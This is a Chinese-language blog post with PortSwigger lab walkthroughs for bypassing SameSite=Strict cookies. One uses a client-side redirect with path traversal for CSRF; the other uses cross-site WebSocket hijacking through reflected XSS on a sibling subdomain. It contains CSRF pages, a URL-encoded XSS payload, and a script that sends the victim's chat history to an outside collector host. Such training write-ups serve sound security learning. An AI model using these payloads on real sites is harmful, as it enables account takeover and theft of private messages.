{"id":1279,"date":"2023-02-22T21:16:00","date_gmt":"2023-02-22T13:16:00","guid":{"rendered":"https:\/\/systw.net\/note\/?p=1279"},"modified":"2024-03-16T00:42:53","modified_gmt":"2024-03-15T16:42:53","slug":"csrf-bypass-samesite-strict","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/1279","title":{"rendered":"CSRF bypass SameSite Strict"},"content":{"rendered":"\n<p><\/p>\n\n\n\n<p>\u5982\u679c\u4f7f\u7528<code>SameSite=Strict<\/code>\u5c6c\u6027\u8a2d\u5b9a <code>cookie\u00a0<\/code>\uff0c\u700f\u89bd\u5668\u5c07\u4e0d\u6703\u5728\u4efb\u4f55\u8de8\u7db2\u7ad9\u8acb\u6c42\u4e2d\u50b3\u9001\u5b83\u3002\u5118\u7ba1\u9019\u662f\u6700\u5b89\u5168\u7684\u9078\u9805\uff0c\u4f46\u5728\u9700\u8981\u8de8\u7db2\u7ad9\u529f\u80fd\u7684\u60c5\u6cc1\u4e0b\uff0c\u53ef\u80fd\u6703\u5c0d\u4f7f\u7528\u8005\u9ad4\u9a57\u7522\u751f\u8ca0\u9762\u5f71\u97ff\u3002\u5118\u7ba1\u662f\u6700\u5b89\u5168\u7684\u8a2d\u5b9a\uff0c\u4f46\u9084\u662f\u6709\u6a5f\u6703\u9952\u904e\uff0c\u8aaa\u660e\u5982\u4e0b\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u4f7f\u7528redirect\u9952\u904e<\/h2>\n\n\n\n<p>\u5982\u679c\u76ee\u6a19\u6709\u91cd\u5c0e\u5411\u554f\u984c\u548c\u6539\u8acb\u6c42\u65b9\u6cd5\u554f\u984c\uff0c\u53ef\u9952\u904e<code>SameSite=Strict<\/code>\u9650\u5236<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u91cd\u5c0e\u5411\u554f\u984c<\/h3>\n\n\n\n<p><code>\/post\/comment\/confirmation?postId<\/code>\u88ab\u767c\u73fe\u6709directory travel\u6f0f\u6d1e\uff0c\u53ef\u914d\u5408\u505a\u91cd\u5c0e\u5411<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############## request ##############\nGET \/post\/comment\/confirmation?postId=1\/..\/..\/<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">my-account<\/mark> HTTP\/1.1\nHost: 0ae1008d042bd4bf800b268d005d00c9.web-security-academy.net\nCookie: session=ZB7jE8GRib5hdloISwY6OW3Fhg4Ga0En\n...omit...\n\n############## response ############## \n...omit...\n&lt;script src='\/resources\/js\/commentConfirmationRedirect.js'&gt;\n...omit...<\/code><\/pre>\n\n\n\n<p>\u91cd\u5c0e\u5411\u7684\u505a\u6cd5\u53ef\u53c3\u8003commentConfirmationRedirect.js\u5167\u7684\u4ee3\u78bc\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>...omit...\nredirectOnConfirmation = (blogPath) =&gt; {\n\t    setTimeout(() =&gt; {\n\t        const url = new URL(window.location);\n\t        const postId = url.searchParams.get(\"postId\");\n\t        window.location = blogPath + '\/' + postId;\n\t    }, 3000);\n}\n...omit...<\/code><\/pre>\n\n\n\n<p>\u6700\u5f8c\u91cd\u5c0e\u5411\u5230\/my-account<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############## request ##############\n\tGET <mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">\/my-account<\/mark> HTTP\/1.1\n\t...omit...<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u6539\u8acb\u6c42\u65b9\u6cd5\u554f\u984c<\/h3>\n\n\n\n<p>\u5982\u679c\u8981\u6539EMAIL\uff0c\u539f\u672c\u7684\u8acb\u6c42\u662f\u7528POST\uff0c\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############## request ##############\n\tPOST \/my-account\/change-email HTTP\/1.1\n\t...omit...\n\temail=wiener2%40normal-user.net&amp;submit=1\n\n############## response ############## \n\tHTTP\/1.1 302 Found\n\tLocation: \/my-account\n\tConnection: close\n\tContent-Length: 0<\/code><\/pre>\n\n\n\n<p>\u4f46\u628a\u4ed6\u6539\u6210GET\u8acb\u6c42\u4e5f\u53ef\u4ee5\u7528\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############## request ##############\nGET \/my-account\/change-email?email=wiener2%40normal-user.net&amp;submit=1 HTTP\/1.1\nHost: 0ae1008d042bd4bf800b268d005d00c9.web-security-academy.net\nCookie: session=ZB7jE8GRib5hdloISwY6OW3Fhg4Ga0En\n\t...omit...\n\n############## response ############## \n\tHTTP\/1.1 302 Found\n\tLocation: \/my-account\n\tConnection: close\n\tContent-Length: 0<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u6e96\u5099\u653b\u64ca\u9801\u9762<\/h3>\n\n\n\n<p>\u7d50\u5408\u4e0a\u8ff0\u91cd\u5c0e\u5411\u554f\u984c\u8207\u6539\u65b9\u6cd5\u554f\u984c\uff0c\u6e96\u5099\u653b\u64ca\u9801\u9762\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script&gt;\n    document.location = \"https:\/\/0ae1008d042bd4bf800b268d005d00c9.web-security-academy.net\/post\/comment\/confirmation?postId=1\/..\/..\/my-account\/change-email?email=pwned%40web-security-academy.net%26submit=1\";\n&lt;\/script&gt;<\/code><\/pre>\n\n\n\n<p>\u5c07\u5167\u5bb9\u505aurl encode\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script&gt;\n    document.location = \"https:\/\/0ae1008d042bd4bf800b268d005d00c9.web-security-academy.net\/post\/comment\/confirmation?postId=1%2f%2e%2e%2f%2e%2e%2fmy-account\/change-email?email=pwned%40web-security-academy.net%26submit=1\";\n&lt;\/script&gt;<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u9a57\u8b49\u653b\u64ca\u7d50\u679c<\/h3>\n\n\n\n<p>\u7576\u8a2a\u554f\u8a2a\u554f\u4ee5\u4e0a\u653b\u64ca\u9801\u9762\uff0c\u5c31\u6703\u7522\u751f\u4ee5\u4e0b\u8acb\u6c42\uff0c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############### request ##############\nGET \/post\/comment\/confirmation?postId=1\/..\/..\/my-account\/change-email?email=pwned%40web-security-academy.net%26submit=1 HTTP\/2\nHost: 0ae1008d042bd4bf800b268d005d00c9.web-security-academy.net\n...omit...\n\n############### response ##############\nHTTP\/2 200 OK\nContent-Type: text\/html; charset=utf-8\nSet-Cookie: session=En6gHArKYfrA5sXUUkKZQC45jcrQanbn; Secure; HttpOnly; SameSite=Strict\nX-Frame-Options: SAMEORIGIN\nContent-Length: 3256\n...omit..\n&lt;script&gt;redirectOnConfirmation('\/post');&lt;\/script&gt;\n&lt;h1&gt;Thank you for your comment!&lt;\/h1&gt;\n&lt;p&gt;Your comment has been submitted. You will be redirected momentarily.&lt;\/p&gt;<\/code><\/pre>\n\n\n\n<p>\u7531\u65bc\u53ef\u91cd\u5c0e\u5411\uff0c\u56e0\u6b64\u88ab\u91cd\u5c0e\u5230<code>\/my-account\/change-email<\/code>\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############### request ##############\nGET \/my-account\/change-email?email=pwned@web-security-academy.net&amp;submit=1 HTTP\/2\nHost: 0ae1008d042bd4bf800b268d005d00c9.web-security-academy.net\nCookie: session=ZB7jE8GRib5hdloISwY6OW3Fhg4Ga0En\n...omit...\n\n############### response ##############\nHTTP\/2 302 Found\nLocation: \/my-account?id=wiener\nX-Frame-Options: SAMEORIGIN\nContent-Length: 0<\/code><\/pre>\n\n\n\n<p>Lab: SameSite Strict bypass via client-side redirect<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u5229\u7528\u5b50\u7db2\u57df\u8207XSS\u9952\u904e <\/h2>\n\n\n\n<p>\u76ee\u6a19\u6709<code>SameSite=Strict<\/code>\u9650\u5236\uff0c\u53ef\u5229\u7528\u4e00\u4e9b\u6f0f\u6d1e\u9952\u904e\uff0c\u8aaa\u660e\u5982\u4e0b<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u6e96\u5099CSRF\u653b\u64ca\u9801\u9762<\/h3>\n\n\n\n<p>\u76ee\u6a19\u6709\u4f7f\u7528websocket\uff0c\u767c\u8d77\u6642\u6703\u5e36<code>cookie<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/chat HTTP\/1.1\n...omit...\nCookie: session=hYubTLpH7nlTqUNtyhKHL2ULx7o8cvGh\nSec-WebSocket-Key: CC97pCtWdWcehsxbarPCsw==<\/code><\/pre>\n\n\n\n<p>\u6e96\u5099\u653b\u64ca\u9801\u9762\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script&gt;\n    var ws = new WebSocket('wss:\/\/0a6e002b04fcf1a7c38a517f006b000c.web-security-academy.net\/chat');\n    ws.onopen = function() {\n        ws.send(\"READY\");\n    };\n    ws.onmessage = function(event) {\n        fetch('https:\/\/outsidehost', {method: 'POST', mode: 'no-cors', body: event.data});\n    };\n&lt;\/script&gt;<\/code><\/pre>\n\n\n\n<p>\u7576\u8a2a\u554f\u5230\u653b\u64ca\u9801\uff0c\u6703\u6839\u64da\u653b\u64ca\u6307\u4ee4\u5efa\u7acbwebsocket\uff0c\u4f46\u56e0\u70ba<code>SameSite=Strict<\/code>\uff0c\u6240\u4ee5\u7121\u6cd5\u7528<code>cookie<\/code>\u50b3\u9001<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/chat HTTP\/1.1\nHost: 0a7a00bf03d7412685e694d200e800cc.web-security-academy.net\nSec-WebSocket-Key: vZKMrI+C1iXJjDxmPuXXSA==\n...omit...<\/code><\/pre>\n\n\n\n<p>\u63a5\u8457<code>https:\/\/outsidehost<\/code>\u5c07\u6703\u6536\u5230\u8a0a\u606f\uff0c\u4f46\u56e0\u70ba\u6c92\u5e36<code>cookie<\/code>\uff0c\u6240\u4ee5\u9019\u53ea\u662f\u7aca\u53d6\u4e86\u5168\u65b0\u6703\u8a71\u7684\u804a\u5929\u6b77\u53f2\u8a18\u9304\uff0c\u4e26\u4e0d\u662f\u7279\u5225\u6709\u7528<\/p>\n\n\n\n<p> <\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">XSS<\/h3>\n\n\n\n<p>\u767c\u73fechat.js\u7684\u8fd4\u56de\u5167\u5bb9\u5305\u542b <code>https:\/\/cms-0a7a00bf03d7412685e694d200e800cc.web-security-academy.net<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############### request ############### \nGET \/resources\/js\/chat.js HTTP\/2\nHost: 0a7a00bf03d7412685e694d200e800cc.web-security-academy.net\n...omit...\n\n############### respone ###############  \nHTTP\/2 200 OK\nContent-Type: application\/javascript; charset=utf-8\nCache-Control: public, max-age=3600\nAccess-Control-Allow-Origin: https:\/\/cms-0a7a00bf03d7412685e694d200e800cc.web-security-academy.net\nX-Frame-Options: SAMEORIGIN\nContent-Length: 3561<\/code><\/pre>\n\n\n\n<p>\u5206\u6790\u8a72\u7db2\u5740\u5f8c\u767c\u73fe\uff0c\u5728username\u53c3\u6578\u6709xss\u5f31\u9ede\uff0c\u53ef\u4f7f\u7528<code>&lt;script&gt;alert(1)&lt;\/script&gt;<\/code>\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############### request ###############  \nPOST \/login HTTP\/1.1\nHost: cms-0a7a00bf03d7412685e694d200e800cc.web-security-academy.net\n...omit...\nusername=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&amp;password=1\n\n############### respone ###############  \n...omit...\n&lt;p&gt;Invalid username: &lt;script&gt;alert(1)&lt;\/script&gt;&lt;\/p&gt;\n...omit...<\/code><\/pre>\n\n\n\n<p>\u8f49\u63db\u6210GET\u4e5f\u53ef\u4ee5\u6b63\u5e38\u904b\u4f5c\uff0c\u5982\u4e0b <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############### request  ############### \nGET \/login?username=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&amp;password=1 HTTP\/1.1\nHost: cms-0a7a00bf03d7412685e694d200e800cc.web-security-academy.net\n...omit...\n\n############### respone  ############### \n...omit...\n&lt;p&gt;Invalid username: &lt;script&gt;alert(1)&lt;\/script&gt;&lt;\/p&gt;\n...omit...<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5408\u4f75XSS\u548cCSRF<\/h3>\n\n\n\n<p>\u5c07\u525b\u525b\u6e96\u5099\u7684\u653b\u64ca\u9801urlencode\u7de8\u78bc<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script&gt;\n    var ws = new WebSocket('wss:\/\/0a6e002b04fcf1a7c38a517f006b000c.web-security-academy.net\/chat');\n    ws.onopen = function() {\n        ws.send(\"READY\");\n    };\n    ws.onmessage = function(event) {\n        fetch('https:\/\/outsidehost', {method: 'POST', mode: 'no-cors', body: event.data});\n    };\n&lt;\/script&gt;<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%73%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%36%65%30%30%32%62%30%34%66%63%66%31%61%37%63%33%38%61%35%31%37%66%30%30%36%62%30%30%30%63%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%20%20%20%20%77%73%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%73%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%20%20%20%20%77%73%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%6b%76%6a%72%37%69%38%38%65%33%73%62%6d%66%33%65%6f%71%68%78%6b%68%65%79%65%70%6b%67%38%35%2e%62%75%72%70%63%6f%6c%6c%61%62%6f%72%61%74%6f%72%2e%6e%65%74%27%2c%20%7b%6d%65%74%68%6f%64%3a%20%27%50%4f%53%54%27%2c%20%6d%6f%64%65%3a%20%27%6e%6f%2d%63%6f%72%73%27%2c%20%62%6f%64%79%3a%20%65%76%65%6e%74%2e%64%61%74%61%7d%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p>\u6e96\u5099\u53e6\u4e00\u500b\u653b\u64ca\u9801\u9762\uff0c\u5c07\u525b\u525b\u7684urlencode\u7de8\u78bc\u5167\u5bb9\u653e\u5230username\u5f8c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script&gt;\n    document.location = \"https:\/\/cms-0a6e002b04fcf1a7c38a517f006b000c.web-security-academy.net\/login?username=<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%73%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%36%65%30%30%32%62%30%34%66%63%66%31%61%37%63%33%38%61%35%31%37%66%30%30%36%62%30%30%30%63%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%20%20%20%20%77%73%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%73%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%20%20%20%20%77%73%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%6b%76%6a%72%37%69%38%38%65%33%73%62%6d%66%33%65%6f%71%68%78%6b%68%65%79%65%70%6b%67%38%35%2e%62%75%72%70%63%6f%6c%6c%61%62%6f%72%61%74%6f%72%2e%6e%65%74%27%2c%20%7b%6d%65%74%68%6f%64%3a%20%27%50%4f%53%54%27%2c%20%6d%6f%64%65%3a%20%27%6e%6f%2d%63%6f%72%73%27%2c%20%62%6f%64%79%3a%20%65%76%65%6e%74%2e%64%61%74%61%7d%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e<\/mark>&amp;password=anything\";\n&lt;\/script&gt;<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u653b\u64ca\u7db2\u9801\u6d41\u7a0b<\/h3>\n\n\n\n<p>\u4e00\u65e6\u53d7\u5bb3\u8005\u8a2a\u554f\u8a72\u653b\u64ca\u9801\uff0c\u5c31\u6703\u4f7f\u7528username\u7684XSS\u6f0f\u6d1e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############### request ############### \nGET \/login?username=%3c%73%63%72%69...omit...%70%74%3e&amp;password=anything HTTP\/2\nHost: cms-0a7a00bf03d7412685e694d200e800cc.web-security-academy.net\n...omit...\n\n############### response ############### \n\t...omit...\n\t&lt;p&gt;Invalid username: &lt;script&gt;\n\t    var ws = new WebSocket('wss:\/\/0a7a00bf03d7412685e694d200e800cc.web-security-academy.net\/chat');\n\t    ws.onopen = function() {\n\t        ws.send(\"READY\");\n\t    };\n\t    ws.onmessage = function(event) {\n\t        fetch('https:\/\/outsidehost', {method: 'POST', mode: 'no-cors', body: event.data});\n\t    };\n\t&lt;\/script&gt;&lt;\/p&gt;\n...omit...<\/code><\/pre>\n\n\n\n<p>\u57f7\u884cXSS\u6307\u5b9a\u7684\u4ee3\u78bc\uff0c\u4f7f\u7528\u53d7\u5bb3\u8005\u7684<code>cookie<\/code>\u5efa\u7acbwebsocket\uff0c\u4e26\u628a\u5167\u5bb9\u50b3\u9001\u5230<code>https:\/\/outsidehost<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############### request ############### \nGET \/chat HTTP\/2\nHost: 0a7a00bf03d7412685e694d200e800cc.web-security-academy.net\nUpgrade: websocket\nOrigin: https:\/\/cms-0a7a00bf03d7412685e694d200e800cc.web-security-academy.net\n<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">Cookie: session=RE5nG3brEHF8odVfEKK0mZkK1SKTh70N<\/mark>\nSec-Websocket-Key: e+klpHJ6JJxhBuVlc1pgDg==\n...omit...\n\n############### response ############### \nHTTP\/1.1 101 Switching Protocol\nConnection: Upgrade\nUpgrade: websocket\nSec-WebSocket-Accept: J7wztriL29ECxk5T0amm40TybjQ=\nContent-Length: 0<\/code><\/pre>\n\n\n\n<p><code>https:\/\/outsidehost<\/code>\u5c07\u6703\u6536\u5230\u8a0a\u606f\uff0c\u53d7\u5bb3\u8005\u7684\u8a0a\u606f\u90fd\u80fd\u770b\u5230\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\"user\":\"You\",\"content\":\"I forgot my password\"}\n{\"user\":\"Hal Pline\",\"content\":\"No problem carlos, it's xhu8b4knhbryp1l9ocs6\"}<\/code><\/pre>\n\n\n\n<p>Lab: SameSite Strict bypass via sibling domain<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5982\u679c\u4f7f\u7528SameSite=Strict\u5c6c\u6027\u8a2d\u5b9a cookie &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[40],"tags":[42],"class_list":["post-1279","post","type-post","status-publish","format-standard","hentry","category-clientside","tag-bypass"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1279","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=1279"}],"version-history":[{"count":0,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1279\/revisions"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=1279"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=1279"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=1279"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}